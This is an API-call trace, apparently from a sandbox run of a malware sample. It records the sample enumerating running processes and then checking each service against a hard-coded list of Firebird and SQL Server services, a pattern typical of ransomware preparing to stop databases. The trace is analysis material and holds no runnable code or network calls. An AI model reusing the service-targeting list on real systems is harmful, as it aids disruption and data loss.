	[0185.367] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0185.368] lstrlenW (lpString="winlogon.exe") returned 12
	[0185.368] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0185.368] lstrlenW (lpString="services.exe") returned 12
	[0185.368] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0185.369] lstrlenW (lpString="lsass.exe") returned 9
	[0185.369] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0185.369] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0185.369] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0185.370] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0185.370] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.370] lstrlenW (lpString="svchost.exe") returned 11
	[0185.370] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.371] lstrlenW (lpString="svchost.exe") returned 11
	[0185.371] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0185.371] lstrlenW (lpString="dwm.exe") returned 7
	[0185.371] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.372] lstrlenW (lpString="svchost.exe") returned 11
	[0185.372] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.372] lstrlenW (lpString="svchost.exe") returned 11
	[0185.372] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.373] lstrlenW (lpString="svchost.exe") returned 11
	[0185.373] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.373] lstrlenW (lpString="svchost.exe") returned 11
	[0185.373] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.374] lstrlenW (lpString="svchost.exe") returned 11
	[0185.374] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.374] lstrlenW (lpString="svchost.exe") returned 11
	[0185.374] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.375] lstrlenW (lpString="svchost.exe") returned 11
	[0185.375] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.375] lstrlenW (lpString="svchost.exe") returned 11
	[0185.376] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.376] lstrlenW (lpString="svchost.exe") returned 11
	[0185.376] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.377] lstrlenW (lpString="svchost.exe") returned 11
	[0185.377] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0185.377] lstrlenW (lpString="spoolsv.exe") returned 11
	[0185.377] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.378] lstrlenW (lpString="svchost.exe") returned 11
	[0185.378] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0185.378] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0185.378] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0185.379] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0185.379] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0185.380] lstrlenW (lpString="audiodg.exe") returned 11
	[0185.380] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0185.380] lstrlenW (lpString="Memory Compression") returned 18
	[0185.380] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0185.381] lstrlenW (lpString="taskhostw.exe") returned 13
	[0185.381] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0185.381] lstrlenW (lpString="sihost.exe") returned 10
	[0185.381] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.382] lstrlenW (lpString="svchost.exe") returned 11
	[0185.382] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0185.382] lstrlenW (lpString="taskhostw.exe") returned 13
	[0185.382] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0185.383] lstrlenW (lpString="explorer.exe") returned 12
	[0185.383] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0185.383] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0185.383] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0185.384] lstrlenW (lpString="SearchUI.exe") returned 12
	[0185.384] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0185.384] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0185.385] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0185.385] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0185.385] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0185.386] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0185.386] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0185.386] lstrlenW (lpString="dllhost.exe") returned 11
	[0185.386] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0185.387] lstrlenW (lpString="dllhost.exe") returned 11
	[0185.387] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0185.387] CloseHandle (hObject=0x548) returned 1
	[0185.387] Sleep (dwMilliseconds=0x1f4) 
	[0186.007] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929b38
	[0186.008] EnumServicesStatusExW (in: hSCManager=0x3929b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0186.008] GetLastError () returned 0xea
	[0186.008] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x76c0c0
	[0186.009] EnumServicesStatusExW (in: hSCManager=0x3929b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x76c0c0, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x76c0c0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0186.009] CloseServiceHandle (hSCObject=0x3929b38) returned 1
	[0186.010] lstrlenW (lpString="Appinfo") returned 7
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0186.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0186.010] lstrlenW (lpString="AppXSvc") returned 7
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0186.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0186.010] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0186.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0186.010] lstrlenW (lpString="Audiosrv") returned 8
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0186.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0186.010] lstrlenW (lpString="BFE") returned 3
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0186.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0186.010] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0186.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0186.011] lstrlenW (lpString="CDPSvc") returned 6
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0186.011] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0186.011] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0186.011] lstrlenW (lpString="CryptSvc") returned 8
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0186.011] lstrlenW (lpString="DcomLaunch") returned 10
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0186.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0186.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0186.011] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0186.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0186.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0186.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0186.012] lstrlenW (lpString="Dhcp") returned 4
	[0186.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0186.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0186.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0186.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0186.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0186.012] lstrlenW (lpString="Dnscache") returned 8
	[0186.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0186.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0186.013] lstrlenW (lpString="DPS") returned 3
	[0186.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0186.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0186.013] lstrlenW (lpString="DusmSvc") returned 7
	[0186.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0186.013] lstrlenW (lpString="EventLog") returned 8
	[0186.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0186.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0186.013] lstrlenW (lpString="EventSystem") returned 11
	[0186.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0186.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0186.013] lstrlenW (lpString="FontCache") returned 9
	[0186.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0186.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0186.013] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0186.013] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0186.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0186.013] lstrlenW (lpString="gpsvc") returned 5
	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0186.014] lstrlenW (lpString="iphlpsvc") returned 8
	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0186.014] lstrlenW (lpString="KeyIso") returned 6
	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0186.014] lstrlenW (lpString="LanmanServer") returned 12
	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0186.014] lstrlenW (lpString="LanmanWorkstation") returned 17
